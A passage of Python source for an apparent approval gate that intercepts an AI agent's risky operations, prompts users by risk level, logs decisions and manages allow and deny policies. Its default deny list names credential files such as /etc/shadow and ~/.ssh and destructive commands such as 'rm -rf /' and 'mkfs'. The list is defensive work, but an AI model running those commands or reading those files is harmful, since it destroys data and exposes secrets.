        # Initialize session manager
        self.session_manager = SessionManager()
    
    def _colorize(self, text: str, color_code: str) -> str:
        """Apply color if colors are enabled"""
        if self.use_colors:
            return f"{color_code}{text}{self.RESET_COLOR}"
        return text
    
    def check_permission(self, request: GuardianRequest) -> Tuple[bool, str, bool]:
        """
        Check if operation is permitted without user interaction
        
        Returns:
            (is_allowed, reason, needs_interaction)
        """
        risk_level = request.risk_level
        
        # LOW risk: auto-allow
        if risk_level in self.AUTO_ALLOW_RISKS:
            return True, "LOW risk - auto-allowed", False
        
        # CRITICAL risk: always requires confirmation
        if risk_level in self.ALWAYS_CONFIRM_RISKS:
            return False, "CRITICAL risk - always requires confirmation", True
        
        # MEDIUM/HIGH: check session permission
        if risk_level in self.SESSION_APPROVAL_RISKS:
            allowed, reason = self.session_manager.check_session_permission(
                request.operation_type,
                risk_level,
                request.operation_detail
            )
            
            if allowed:
                # Session approved - log and allow
                self._log_audit(request, "allow_session", reason)
                return True, reason, False
            else:
                # Needs user confirmation
                return False, reason, True
        
        # Unknown risk level - require confirmation
        return False, "Unknown risk level - requires confirmation", True
    
    def format_interruption(self, request: GuardianRequest, compact: bool = False) -> str:
        """Format the interruption message with rich visual elements"""
        op_name = self.OPERATION_NAMES.get(request.operation_type, f"📋 {request.operation_type.title()}")
        emoji, color = self.RISK_DISPLAY.get(request.risk_level, ("⚪", ""))
        
        if compact:
            return f"{emoji} [{request.risk_level}] {op_name}: {request.operation_detail[:50]}..."
        
        # Full format
        lines = [
            "",
            "=" * 70,
            "🛡️  CLAW-GUARDIAN SECURITY INTERCEPTION",
            "=" * 70,
            "",
            f"📋 Operation: {op_name}",
            f"📝 Detail: {request.operation_detail}",
            "",
        ]
        
        # Risk level with color
        risk_display = f"{emoji}  Risk Level: {request.risk_level}"
        if color:
            risk_display = self._colorize(risk_display, color)
        lines.append(risk_display)
        
        lines.append(f"📊 Risk Score: {request.risk_score}/100")
        lines.append("")
        
        # Risk reasons
        if request.risk_reasons:
            lines.append("⚠️  Risk Analysis:")
            for i, reason in enumerate(request.risk_reasons, 1):
                lines.append(f"   {i}. {reason}")
            lines.append("")
        
        # Recommendation
        lines.append(f"💡 Recommendation: {request.recommendation}")
        lines.append("")
        
        # Session info for MEDIUM/HIGH
        if request.risk_level in self.SESSION_APPROVAL_RISKS:
            session_info = self.session_manager.get_session_info()
            if session_info['active_approvals'] > 0:
                lines.append(f"📌 Session has {session_info['active_approvals']} active approval(s)")
                lines.append("")
        
        # Action options
        lines.extend([
            "-" * 70,
            "SELECT AN OPTION:",
            "",
        ])
        
        # Different options based on risk level
        if request.risk_level == "CRITICAL":
            lines.extend([
                "   [y] ✅ Allow this time (CRITICAL - must confirm each time)",
                "   [Y] ✅✅ Always allow (add to whitelist)",
                "   [n] ❌ Deny this time",
                "   [N] ❌❌ Always deny (add to blacklist)",
            ])
        else:  # MEDIUM or HIGH
            lines.extend([
                "   [y] ✅ Allow this time only",
                "   [s] ✅📅 Allow for this session (auto-approve similar operations)",
                "   [Y] ✅✅ Always allow (add to whitelist)",
                "   [n] ❌ Deny this time",
                "   [N] ❌❌ Always deny (add to blacklist)",
            ])
        
        lines.extend([
            "   [?] ℹ️  View details",
            "   [h] ❓ Help",
            "",
            "-" * 70,
            "Your choice: "
        ])
        
        return "\n".join(lines)
    
    def interactive_confirm(self, request: GuardianRequest, 
                           timeout: Optional[int] = None) -> GuardianResponse:
        """
        Display interactive confirmation prompt and get user decision
        
        For MEDIUM/HIGH: Offers session-level approval option
        For CRITICAL: Must confirm each time
        """
        prompt = self.format_interruption(request)
        
        start_time = datetime.now()
        
        while True:
            try:
                choice = input(prompt).strip().lower()
                
                # Handle timeout
                if timeout:
                    elapsed = (datetime.now() - start_time).total_seconds()
                    if elapsed > timeout:
                        print("\n⏱️  Confirmation timeout - operation denied for safety")
                        decision = UserDecision.DENY_ONCE
                        comment = "Auto-denied due to timeout"
                        session_approved = False
                        break
                
                if choice == 'y':
                    decision = UserDecision.ALLOW_ONCE
                    comment = "User approved single execution"
                    session_approved = False
                    break
                    
                elif choice == 's' and request.risk_level in self.SESSION_APPROVAL_RISKS:
                    # Session-level approval only for MEDIUM/HIGH
                    decision = UserDecision.ALLOW_SESSION
                    comment = "User approved for this session"
                    session_approved = True
                    
                    # Grant session approval
                    self.session_manager.grant_session_approval(
                        request.operation_type,
                        request.risk_level,
                        request.operation_detail,
                        "session"
                    )
                    break
                    
                elif choice == 'Y':
                    decision = UserDecision.ALLOW_ALWAYS
                    comment = "User approved and added to whitelist"
                    session_approved = False
                    break
                    
                elif choice == 'n':
                    decision = UserDecision.DENY_ONCE
                    comment = "User denied execution"
                    session_approved = False
                    break
                    
                elif choice == 'N':
                    decision = UserDecision.DENY_ALWAYS
                    comment = "User denied and added to blacklist"
                    session_approved = False
                    break
                    
                elif choice == '?':
                    self._show_details(request)
                    prompt = self.format_interruption(request)
                    continue
                    
                elif choice == 'h' or choice == 'help':
                    self._show_help(request.risk_level)
                    prompt = self.format_interruption(request)
                    continue
                    
                elif choice == '':
                    print("\n⚠️  No input received - operation denied for safety")
                    decision = UserDecision.DENY_ONCE
                    comment = "Auto-denied (no input)"
                    session_approved = False
                    break
                    
                else:
                    if choice == 's' and request.risk_level == "CRITICAL":
                        print(f"\n❌ Session approval not available for CRITICAL risks")
                        print("CRITICAL operations must be confirmed each time.")
                    else:
                        print(f"\n❌ Invalid choice: '{choice}'")
                        valid_options = "y, Y, n, N, ?, h"
                        if request.risk_level in self.SESSION_APPROVAL_RISKS:
                            valid_options += ", s"
                        print(f"Valid options: {valid_options}")
                    prompt = "Your choice: "
                    continue
                    
            except KeyboardInterrupt:
                print("\n\n🚫 Operation cancelled by user (Ctrl+C)")
                decision = UserDecision.DENY_ONCE
                comment = "User cancelled (KeyboardInterrupt)"
                session_approved = False
                break
                
            except EOFError:
                print("\n⚠️  Non-interactive environment - defaulting to DENY for safety")
                decision = UserDecision.DENY_ONCE
                comment = "Auto-denied in non-interactive mode"
                session_approved = False
                break
        
        response = GuardianResponse(
            decision=decision.value,
            request=request,
            response_time=datetime.now().isoformat(),
            user_comment=comment,
            add_to_whitelist=(decision == UserDecision.ALLOW_ALWAYS),
            add_to_blacklist=(decision == UserDecision.DENY_ALWAYS),
            session_approved=session_approved
        )
        
        self._log_decision(response)
        self._log_audit(request, response.decision, comment)
        
        # Print confirmation
        if decision in [UserDecision.ALLOW_ONCE, UserDecision.ALLOW_SESSION, 
                       UserDecision.ALLOW_ALWAYS]:
            print(f"\n✅ Operation {self._colorize('APPROVED', '\033[92m')}")
            if session_approved:
                print(f"📌 Similar {request.risk_level} risk operations will be auto-approved for this session")
        else:
            print(f"\n❌ Operation {self._colorize('DENIED', '\033[91m')}")
        
        return response
    
    def auto_decide(self, request: GuardianRequest, 
                   default_allow_low: bool = True,
                   default_allow_medium: bool = False,
                   default_allow_high: bool = False) -> GuardianResponse:
        """
        Automatic decision for non-interactive environments
        """
        risk_level = request.risk_level
        
        if risk_level == "CRITICAL":
            decision = UserDecision.DENY_ONCE
            comment = "CRITICAL risk auto-denied in non-interactive mode"
            
        elif risk_level == "HIGH":
            if default_allow_high:
                decision = UserDecision.ALLOW_ONCE
                comment = "HIGH risk auto-allowed (configured)"
            else:
                decision = UserDecision.DENY_ONCE
                comment = "HIGH risk auto-denied (default)"
                
        elif risk_level == "MEDIUM":
            if default_allow_medium:
                decision = UserDecision.ALLOW_ONCE
                comment = "MEDIUM risk auto-allowed (configured)"
            else:
                decision = UserDecision.DENY_ONCE
                comment = "MEDIUM risk auto-denied (default)"
                
        else:  # LOW
            if default_allow_low:
                decision = UserDecision.ALLOW_ONCE
                comment = "LOW risk auto-allowed"
            else:
                decision = UserDecision.DENY_ONCE
                comment = "LOW risk auto-denied (configured)"
        
        response = GuardianResponse(
            decision=decision.value,
            request=request,
            response_time=datetime.now().isoformat(),
            user_comment=comment
        )
        
        self._log_decision(response)
        self._log_audit(request, response.decision, comment)
        
        status = "APPROVED" if "allow" in decision.value else "DENIED"
        print(f"[AUTO] {request.operation_type}: {status} ({risk_level})")
        
        return response
    
    def _show_details(self, request: GuardianRequest):
        """Show detailed information about the operation"""
        print("\n" + "=" * 70)
        print("DETAILED INFORMATION")
        print("=" * 70)
        print(f"Timestamp: {request.timestamp}")
        print(f"Operation Type: {request.operation_type}")
        print(f"Risk Level: {request.risk_level}")
        print(f"Risk Score: {request.risk_score}/100")
        
        if request.risk_score >= 80:
            print("\n⚠️  This is a CRITICAL risk operation!")
            print("Such operations can cause serious damage or data loss.")
            print("You must confirm EACH CRITICAL operation individually.")
        elif request.risk_score >= 60:
            print("\n⚠️  This is a HIGH risk operation!")
            print("Proceed with caution and verify the intent.")
            print("You can approve for this session to avoid repeated prompts.")
        elif request.risk_score >= 30:
            print("\n⚠️  This is a MEDIUM risk operation.")
            print("Some risk exists, but it's generally manageable.")
            print("Session approval is available.")
        
        print("\nFull Risk Analysis:")
        for i, reason in enumerate(request.risk_reasons, 1):
            print(f"  {i}. {reason}")
        
        print("\nSafety Recommendation:")
        print(f"  {request.recommendation}")
        
        # Show current session info
        session_info = self.session_manager.get_session_info()
        if session_info['active_approvals'] > 0:
            print(f"\n📌 Current Session Approvals: {session_info['active_approvals']}")
            for approval in session_info['approvals'][:5]:
                print(f"   - [{approval['risk']}] {approval['type']}: {approval['pattern'][:40]}")
        
        print("\n" + "=" * 70)
        print("\nPress Enter to return to confirmation prompt...")
        try:
            input()
        except (KeyboardInterrupt, EOFError):
            pass
        print()
    
    def _show_help(self, risk_level: str):
        """Show help information"""
        print("\n" + "=" * 70)
        print("CLAW-GUARDIAN HELP")
        print("=" * 70)
        print("""
Claw-Guardian protects your system by intercepting potentially
dangerous operations from OpenClaw.

OPTIONS:
  [y] - Allow this operation once
        The operation proceeds, but you'll be asked again next time.
  
  [s] - Allow for this session (MEDIUM/HIGH only)
        Similar operations will be auto-approved for this session.
        The session expires after 30 minutes of inactivity.
        NOT available for CRITICAL risks.
  
  [Y] - Always allow (add to whitelist)
        This operation type will be allowed automatically in the future.
        Use for trusted operations you do frequently.
  
  [n] - Deny this operation
        The operation is blocked, but can be retried later.
  
  [N] - Always deny (add to blacklist)
        This operation type will be blocked automatically.
        Use for operations you never want to allow.
  
  [?] - View details
        See more information about the risks and operation details.

RISK LEVELS:
  🔴 CRITICAL (80-100) - System-level danger
        ALWAYS requires confirmation each time
        Session approval is NOT available
  
  🟠 HIGH (60-79) - Sensitive operations
        Requires confirmation or session approval
        Session approval available
  
  🟡 MEDIUM (30-59) - General risk
        Suggests confirmation or session approval
        Session approval available
  
  🟢 LOW (0-29) - Safe operations
        Auto-allowed without confirmation

For more information, see the documentation.
        """)
        print("=" * 70)
        print("\nPress Enter to return...")
        try:
            input()
        except (KeyboardInterrupt, EOFError):
            pass
        print()
    
    def _log_decision(self, response: GuardianResponse):
        """Log the decision to file"""
        log_file = os.path.join(self.log_dir, 
                               f"decisions_{datetime.now().strftime('%Y%m')}.jsonl")
        
        log_entry = {
            "timestamp": response.response_time,
            "decision": response.decision,
            "operation": asdict(response.request),
            "comment": response.user_comment,
            "whitelist_added": response.add_to_whitelist,
            "blacklist_added": response.add_to_blacklist,
            "session_approved": response.session_approved
        }
        
        try:
            with open(log_file, 'a', encoding='utf-8') as f:
                f.write(json.dumps(log_entry, ensure_ascii=False) + "\n")
        except Exception as e:
            print(f"Warning: Could not log decision: {e}", file=os.sys.stderr)
    
    def _log_audit(self, request: GuardianRequest, decision: str, comment: str):
        """Log to Operate_Audit.log (MEDIUM and above only)"""
        entry = {
            "timestamp": datetime.now().isoformat(),
            "risk_level": request.risk_level,
            "risk_score": request.risk_score,
            "operation_type": request.operation_type,
            "operation_detail": request.operation_detail,
            "decision": decision,
            "comment": comment
        }
        
        self.session_manager.write_audit_log(entry)


def main():
    """Command-line interface"""
    import argparse
    
    parser = argparse.ArgumentParser(description="Claw-Guardian UI")
    parser.add_argument("command", choices=["interactive", "auto", "check", "session"])
    parser.add_argument("request", nargs="?", help="JSON request or file path")
    parser.add_argument("--default-allow-low", type=lambda x: x.lower() == 'true',
                       default=True)
    parser.add_argument("--default-allow-medium", type=lambda x: x.lower() == 'true',
                       default=False)
    parser.add_argument("--default-allow-high", type=lambda x: x.lower() == 'true',
                       default=False)
    
    args = parser.parse_args()
    
    ui = GuardianUI()
    
    if args.command == "interactive":
        if not args.request:
            print("Error: request JSON required")
            sys.exit(1)
        
        if os.path.isfile(args.request):
            with open(args.request, 'r') as f:
                data = json.load(f)
        else:
            data = json.loads(args.request)
        
        request = GuardianRequest(**data)
        
        # First check if permission already granted
        allowed, reason, needs_interaction = ui.check_permission(request)
        
        if allowed:
            print(f"✅ {reason}")
            result = {
                "approved": True,
                "decision": "allow_session",
                "reason": reason
            }
            print(json.dumps(result, indent=2))
            sys.exit(0)
        elif not needs_interaction:
            print(f"❌ {reason}")
            result = {
                "approved": False,
                "decision": "deny",
                "reason": reason
            }
            print(json.dumps(result, indent=2))
            sys.exit(1)
        
        # Need user interaction
        response = ui.interactive_confirm(request)
        
        result = {
            "approved": "allow" in response.decision,
            "decision": response.decision,
            "session_approved": response.session_approved,
            "comment": response.user_comment
        }
        print(json.dumps(result, indent=2))
        sys.exit(0 if result["approved"] else 1)
    
    elif args.command == "auto":
        if not args.request:
            print("Error: request JSON required")
            sys.exit(1)
        
        if os.path.isfile(args.request):
            with open(args.request, 'r') as f:
                data = json.load(f)
        else:
            data = json.loads(args.request)
        
        request = GuardianRequest(**data)
        response = ui.auto_decide(request, args.default_allow_low, 
                                  args.default_allow_medium,
                                  args.default_allow_high)
        
        result = {
            "approved": "allow" in response.decision,
            "decision": response.decision,
            "comment": response.user_comment
        }
        print(json.dumps(result, indent=2))
        sys.exit(0 if result["approved"] else 1)
    
    elif args.command == "check":
        # Check permission without interaction
        if not args.request:
            print("Error: request JSON required")
            sys.exit(1)
        
        if os.path.isfile(args.request):
            with open(args.request, 'r') as f:
                data = json.load(f)
        else:
            data = json.loads(args.request)
        
        request = GuardianRequest(**data)
        allowed, reason, needs_interaction = ui.check_permission(request)
        
        result = {
            "allowed": allowed,
            "needs_interaction": needs_interaction,
            "reason": reason
        }
        print(json.dumps(result, indent=2))
        sys.exit(0 if allowed else 1)
    
    elif args.command == "session":
        # Show session info
        info = ui.session_manager.get_session_info()
        print(json.dumps(info, indent=2))
    
    else:
        parser.print_help()
        sys.exit(1)


if __name__ == "__main__":
    main()


path: scripts/policy_config.py
content: #!/usr/bin/env python3
"""
Claw-Gatekeeper Policy Configuration Manager
Manages security policies, whitelist, blacklist, and operational modes

Merged from: SafeClaw (policy_manager.py) + Claw-Guardian (policy_config.py)
Features:
- Comprehensive policy management
- Multiple operation modes
- Import/export functionality
- Policy validation
"""

import json
import os
import sys
from pathlib import Path
from typing import List, Dict, Optional, Any, Union
from dataclasses import dataclass, asdict, field
from datetime import datetime


@dataclass
class GuardianPolicy:
    """Security policy configuration with comprehensive settings"""
    # Basic settings
    enabled: bool = True
    version: str = "1.0.0"
    mode: str = "standard"  # standard / strict / loose / emergency
    
    # Risk level controls
    critical_requires_approval: bool = True
    high_requires_approval: bool = True
    medium_requires_approval: bool = False
    low_auto_allow: bool = True
    
    # Whitelists
    whitelist_paths: List[str] = field(default_factory=list)
    whitelist_commands: List[str] = field(default_factory=list)
    whitelist_domains: List[str] = field(default_factory=list)
    whitelist_skills: List[str] = field(default_factory=list)
    
    # Blacklists
    blacklist_paths: List[str] = field(default_factory=list)
    blacklist_commands: List[str] = field(default_factory=list)
    blacklist_domains: List[str] = field(default_factory=list)
    blacklist_skills: List[str] = field(default_factory=list)
    
    # Advanced settings
    batch_threshold: int = 5
    log_all_operations: bool = True
    log_decisions: bool = True
    alert_on_repeated_denial: bool = True
    auto_learn: bool = False
    emergency_stop: bool = False
    check_hidden_files: bool = True
    strict_mode: bool = False
    
    # UI settings
    use_colors: bool = True
    compact_mode: bool = False
    confirmation_timeout: Optional[int] = None  # seconds, None = no timeout
    
    # Auto-decision settings (for non-interactive mode)
    auto_allow_low: bool = True
    auto_allow_medium: bool = False
    auto_allow_high: bool = False


class PolicyConfig:
    """Policy configuration manager with import/export capabilities"""
    
    DEFAULTS = {
        "enabled": True,
        "version": "1.0.0",
        "mode": "standard",
        "critical_requires_approval": True,
        "high_requires_approval": True,
        "medium_requires_approval": False,
        "low_auto_allow": True,
        "whitelist_paths": [
            "~/Downloads",
            "~/Documents",
            "/tmp"
        ],
        "whitelist_commands": [
            "ls",
            "pwd",
            "cat",
            "echo",
            "grep",
            "git status",
            "git log",
            "git diff",
            "git branch"
        ],
        "whitelist_domains": [],
        "whitelist_skills": [],
        "blacklist_paths": [
            "/etc/passwd",
            "/etc/shadow",
            "/etc/sudoers",
            "~/.ssh",
            "~/.gnupg",
            "~/.aws",
            "~/.kube"
        ],
        "blacklist_commands": [
            "rm -rf /",
            "mkfs",
            "dd if=",
            "format",
            "fdisk"
        ],
        "blacklist_domains": [],
        "blacklist_skills": [],
        "batch_threshold": 5,
        "log_all_operations": True,
        "log_decisions": True,
        "alert_on_repeated_denial": True,
        "auto_learn": False,
        "emergency_stop": False,
        "check_hidden_files": True,
        "strict_mode": False,
        "use_colors": True,
        "compact_mode": False,
        "confirmation_timeout": None,
        "auto_allow_low": True,
        "auto_allow_medium": False,
        "auto_allow_high": False
    }
    
    MODE_PRESETS = {
        "standard": {
            "critical_requires_approval": True,
            "high_requires_approval": True,
            "medium_requires_approval": False,
            "low_auto_allow": True,
            "strict_mode": False
        },
        "strict": {
            "critical_requires_approval": True,
            "high_requires_approval": True,
            "medium_requires_approval": True,
            "low_auto_allow": False,
            "strict_mode": True
        },
        "loose": {
            "critical_requires_approval": True,
            "high_requires_approval": False,
            "medium_requires_approval": False,
            "low_auto_allow": True,
            "strict_mode": False
        },
        "emergency": {
            "emergency_stop": True,
            "critical_requires_approval": True,
            "high_requires_approval": True,
            "medium_requires_approval": True,
            "low_auto_allow": False
        }
    }
    
    def __init__(self, config_path: Optional[str] = None):
        self.config_dir = Path.home() / ".claw-gatekeeper"
        self.config_path = Path(config_path) if config_path else self.config_dir / "config.json"
        self.backup_dir = self.config_dir / "backups"
        self.config_dir.mkdir(exist_ok=True)
        self.backup_dir.mkdir(exist_ok=True)
        
        self.policy = self._load_policy()
    
    def _load_policy(self) -> GuardianPolicy:
        """Load policy from file or create default"""
        if self.config_path.exists():
            try:
                with open(self.config_path, 'r', encoding='utf-8') as f:
                    data = json.load(f)
                
                # Validate and merge with defaults
                policy = self._merge_with_defaults(data)
                return GuardianPolicy(**policy)
            except Exception as e:
                print(f"Warning: Could not load config: {e}", file=sys.stderr)
                print("Creating new configuration...", file=sys.stderr)
                return self._create_default()
        else:
            return self._create_default()
    
    def _merge_with_defaults(self, data: Dict) -> Dict:
        """Merge user config with defaults to ensure all fields exist"""
        merged = self.DEFAULTS.copy()
        merged.update(data)
        return merged
    
    def _create_default(self) -> GuardianPolicy:
        """Create default policy and save"""
        policy = GuardianPolicy(**self.DEFAULTS)
        self.save_policy(policy)
        return policy
    
    def save_policy(self, policy: Optional[GuardianPolicy] = None, 
                   backup: bool = True):
        """Save policy to file with optional backup"""
        policy = policy or self.policy
        
        # Create backup if file exists
        if backup and self.config_path.exists():
            self._create_backup()
        
        with open(self.config_path, 'w', encoding='utf-8') as f:
            json.dump(asdict(policy), f, indent=2)
    
    def _create_backup(self):
        """Create timestamped backup of current config"""
        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        backup_path = self.backup_dir / f"config_backup_{timestamp}.json"
        
        try:
            import shutil
            shutil.copy2(self.config_path, backup_path)
            
            # Keep only last 10 backups
            backups = sorted(self.backup_dir.glob("config_backup_*.json"))
            for old_backup in backups[:-10]:
                old_backup.unlink()
        except Exception as e:
            print(f"Warning: Could not create backup: {e}", file=sys.stderr)
    
    def restore_backup(self, backup_file: Optional[str] = None) -> bool:
        """Restore from backup"""
        if backup_file:
            backup_path = Path(backup_file)
        else:
            # Use most recent backup
            backups = sorted(self.backup_dir.glob("config_backup_*.json"))
            if not backups:
                print("No backups found")
                return False
            backup_path = backups[-1]
        
        if not backup_path.exists():
            print(f"Backup not found: {backup_path}")
            return False
        
        try:
            import shutil
            shutil.copy2(backup_path, self.config_path)
            self.policy = self._load_policy()
            print(f"Restored from backup: {backup_path}")
            return True
        except Exception as e:
            print(f"Error restoring backup: {e}")
            return False
    
    def list_backups(self) -> List[Path]:
        """List available backups"""
        return sorted(self.backup_dir.glob("config_backup_*.json"))
    
    def is_path_whitelisted(self, path: str) -> bool:
        """Check if path is whitelisted"""
        path = os.path.expanduser(path)
        for whitelist_path in self.policy.whitelist_paths:
            whitelist_path = os.path.expanduser(whitelist_path)
            if path.startswith(whitelist_path) or whitelist_path in path:
                return True
        return False
    
    def is_path_blacklisted(self, path: str) -> bool:
        """Check if path is blacklisted"""
        path = os.path.expanduser(path)
        for blacklist_path in self.policy.blacklist_paths:
            blacklist_path = os.path.expanduser(blacklist_path)
            if path.startswith(blacklist_path) or blacklist_path in path:
                return True
        return False
    
    def is_command_whitelisted(self, command: str) -> bool:
        """Check if command is whitelisted"""
        for whitelist_cmd in self.policy.whitelist_commands:
            if command.strip().startswith(whitelist_cmd):
                return True
        return False
    
    def is_command_blacklisted(self, command: str) -> bool:
        """Check if command is blacklisted"""
        for blacklist_cmd in self.policy.blacklist_commands:
            if blacklist_cmd in command:
                return True
        return False
    
    def is_domain_whitelisted(self, domain: str) -> bool:
        """Check if domain is whitelisted"""
        return domain in self.policy.whitelist_domains
    
    def is_domain_blacklisted(self, domain: str) -> bool:
        """Check if domain is blacklisted"""
        return domain in self.policy.blacklist_domains
    
    def is_skill_whitelisted(self, skill_name: str) -> bool:
        """Check if skill is whitelisted"""
        return skill_name in self.policy.whitelist_skills
    
    def is_skill_blacklisted(self, skill_name: str) -> bool:
        """Check if skill is blacklisted"""
        return skill_name in self.policy.blacklist_skills
    
    def add_to_whitelist(self, category: str, item: str) -> bool:
        """Add item to whitelist"""
        attr = f"whitelist_{category}"
        if hasattr(self.policy, attr):
            current = getattr(self.policy, attr)
            if item not in current:
                current.append(item)
                self.save_policy()
                return True
        return False
    
    def add_to_blacklist(self, category: str, item: str) -> bool:
        """Add item to blacklist"""
        attr = f"blacklist_{category}"
        if hasattr(self.policy, attr):
            current = getattr(self.policy, attr)
            if item not in current:
                current.append(item)
                self.save_policy()
                return True
        return False
    
    def remove_from_whitelist(self, category: str, item: str) -> bool:
        """Remove item from whitelist"""
        attr = f"whitelist_{category}"
        if hasattr(self.policy, attr):
            current = getattr(self.policy, attr)
            if item in current:
                current.remove(item)
                self.save_policy()
                return True
        return False
    
    def remove_from_blacklist(self, category: str, item: str) -> bool:
        """Remove item from blacklist"""
        attr = f"blacklist_{category}"
        if hasattr(self.policy, attr):
            current = getattr(self.policy, attr)
            if item in current:
                current.remove(item)
                self.save_policy()
                return True
        return False
    
    def update_setting(self, key: str, value: Any) -> bool:
        """Update a setting value"""
        if hasattr(self.policy, key):
            # Type conversion
            current_value = getattr(self.policy, key)
            if isinstance(current_value, bool):
                if isinstance(value, str):
                    value = value.lower() in ['true', 'yes', '1', 'on']
                else:
                    value = bool(value)
            elif isinstance(current_value, int):
                value = int(value)
            elif isinstance(current_value, list) and isinstance(value, str):
                value = [v.strip() for v in value.split(",")]
            
            setattr(self.policy, key, value)
            self.save_policy()
            return True
        return False
    
    def set_mode(self, mode: str) -> bool:
        """Set operation mode with preset configuration"""
        mode = mode.lower()
        if mode not in self.MODE_PRESETS:
            return False
        
        preset = self.MODE_PRESETS[mode]
        self.policy.mode = mode
        
        for key, value in preset.items():
            setattr(self.policy, key, value)
        
        self.save_policy()
        return True
    
    def get_summary(self) -> Dict[str, Any]:
        """Get policy summary for display"""
        return {
            "enabled": self.policy.enabled,
            "version": self.policy.version,
            "mode": self.policy.mode,
            "emergency_stop": self.policy.emergency_stop,
            "approval_rules": {
                "critical": self.policy.critical_requires_approval,
                "high": self.policy.high_requires_approval,
                "medium": self.policy.medium_requires_approval,
                "low": not self.policy.low_auto_allow
            },
            "whitelist_counts": {
                "paths": len(self.policy.whitelist_paths),
                "commands": len(self.policy.whitelist_commands),
                "domains": len(self.policy.whitelist_domains),
                "skills": len(self.policy.whitelist_skills)
            },
            "blacklist_counts": {
                "paths": len(self.policy.blacklist_paths),
                "commands": len(self.policy.blacklist_commands),
                "domains": len(self.policy.blacklist_domains),
                "skills": len(self.policy.blacklist_skills)
            },
            "settings": {
                "batch_threshold": self.policy.batch_threshold,
                "log_all_operations": self.policy.log_all_operations,
                "auto_learn": self.policy.auto_learn,
                "strict_mode": self.policy.strict_mode
            },
            "config_path": str(self.config_path),
            "backups_available": len(self.list_backups())
        }
    
    def export_policy(self, output_path: str, include_sensitive: bool = False):
        """Export policy to file"""
        export_data = asdict(self.policy)
        
        if not include_sensitive:
            # Remove potentially sensitive blacklist entries
            export_data.pop('blacklist_paths', None)
            export_data.pop('blacklist_commands', None)
        
        with open(output_path, 'w', encoding='utf-8') as f:
            json.dump(export_data, f, indent=2)
        
        print(f"Policy exported to: {output_path}")
    
    def import_policy(self, input_path: str, merge: bool = False) -> bool:
        """Import policy from file"""
        try:
            with open(input_path, 'r', encoding='utf-8') as f:
                data = json.load(f)
            
            if merge:
                # Merge with existing
                current = asdict(self.policy)
                current.update(data)
                self.policy = GuardianPolicy(**current)
            else:
                # Replace entirely
                self.policy = GuardianPolicy(**data)
            
            self.save_policy()
            print(f"Policy imported from: {input_path}")
            return True
        except Exception as e:
            print(f"Error importing policy: {e}")
            return False
    
    def reset_to_defaults(self, confirm: bool = False):
        """Reset to default configuration"""
        if not confirm:
            print("Warning: This will reset all settings to defaults.")
            print("Use reset_to_defaults(confirm=True) to proceed.")
            return
        
        self.policy = GuardianPolicy(**self.DEFAULTS)
        self.save_policy()
        print("Configuration reset to defaults")
    
    def validate_policy(self) -> List[str]:
        """Validate policy configuration and return warnings"""
        warnings = []
        
        # Check for overly permissive settings
        if not self.policy.critical_requires_approval:
            warnings.append("CRITICAL risks don't require approval - security risk!")
        
        if not self.policy.high_requires_approval:
            warnings.append("HIGH risks don't require approval")
        
        if self.policy.mode == "loose" and not self.policy.high_requires_approval:
            warnings.append("Loose mode with HIGH auto-allow is not recommended for production")
        
        # Check for empty critical lists
        if len(self.policy.blacklist_paths) < 3:
            warnings.append("Blacklist paths is minimal - consider adding more sensitive paths")
        
        return warnings


def main():
    """Command-line interface"""
    import argparse
    
    parser = argparse.ArgumentParser(
        description="Claw-Guardian Policy Configuration",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s show
  %(prog)s mode strict
  %(prog)s set batch_threshold 10
  %(prog)s add whitelist paths ~/Projects
  %(prog)s export my_policy.json
        """
    )
    
    parser.add_argument("command", choices=[
        "show", "get", "set", "mode", "add", "remove",
        "export", "import", "reset", "backup", "restore", "validate"
    ])
    parser.add_argument("args", nargs="*", help="Command arguments")
    parser.add_argument("--config", "-c", help="Custom config path")
    parser.add_argument("--merge", "-m", action="store_true", 
                       help="Merge when importing")
    parser.add_argument("--include-sensitive", "-s", action="store_true",
                       help="Include sensitive data in export")
    
    args = parser.parse_args()
    
    config = PolicyConfig(config_path=args.config)
    
    if args.command == "show":
        summary = config.get_summary()
        print(json.dumps(summary, indent=2))
    
    elif args.command == "get" and len(args.args) >= 1:
        key = args.args[0]
        if hasattr(config.policy, key):
            value = getattr(config.policy, key)
            print(json.dumps({key: value}, indent=2))
        else:
            print(f"Unknown setting: {key}")
            sys.exit(1)
    
    elif args.command == "set" and len(args.args) >= 2:
        key = args.args[0]
        value = args.args[1]
        
        if config.update_setting(key, value):
            print(f"Updated {key} = {value}")
        else:
            print(f"Failed to update {key}")
            sys.exit(1)
    
    elif args.command == "mode":
        if not args.args:
            print(f"Current mode: {config.policy.mode}")
            print(f"Available modes: standard, strict, loose, emergency")
        else:
            mode = args.args[0]
            if config.set_mode(mode):
                print(f"Mode set to: {mode}")
            else:
                print(f"Invalid mode: {mode}")
                sys.exit(1)
    
    elif args.command == "add" and len(args.args) >= 3:
        list_type = args.args[0]  # whitelist or blacklist
        category = args.args[1]   # paths, commands, domains, skills
        item = args.args[2]
        
        if list_type == "whitelist":
            success = config.add_to_whitelist(category, item)
        else:
            success = config.add_to_blacklist(category, item)
        
        if success:
            print(f"Added '{item}' to {list_type}_{category}")
        else:
            print(f"Failed to add (may already exist)")
            sys.exit(1)
    
    elif args.command == "remove" and len(args.args) >= 3:
        list_type = args.args[0]
        category = args.args[1]
        item = args.args[2]
        
        if list_type == "whitelist":
            success = config.remove_from_whitelist(category, item)
        else:
            success = config.remove_from_blacklist(category, item)
        
        if success:
            print(f"Removed '{item}' from {list_type}_{category}")
        else:
            print(f"Failed to remove (may not exist)")
            sys.exit(1)
    
    elif args.command == "export":
        output_path = args.args[0] if args.args else "guardian_policy.json"
        config.export_policy(output_path, args.include_sensitive)
    
    elif args.command == "import" and len(args.args) >= 1:
        input_path = args.args[0]
        if not config.import_policy(input_path, args.merge):
            sys.exit(1)
    
    elif args.command == "reset":
        print("This will reset all settings to defaults!")
        response = input("Are you sure? Type 'yes' to confirm: ")
        if response.lower() == 'yes':
            config.reset_to_defaults(confirm=True)
        else:
            print("Reset cancelled")
    
    elif args.command == "backup":
        backups = config.list_backups()
        print(f"Available backups ({len(backups)}):")
        for backup in backups[-10:]:  # Show last 10
            print(f"  {backup.name}")
    
    elif args.command == "restore":
        backup_file = args.args[0] if args.args else None
        if not config.restore_backup(backup_file):
            sys.exit(1)
    
    elif args.command == "validate":
        warnings = config.validate_policy()
        if warnings:
            print("Policy validation warnings:")
            for warning in warnings:
                print(f"  ⚠️  {warning}")
        else:
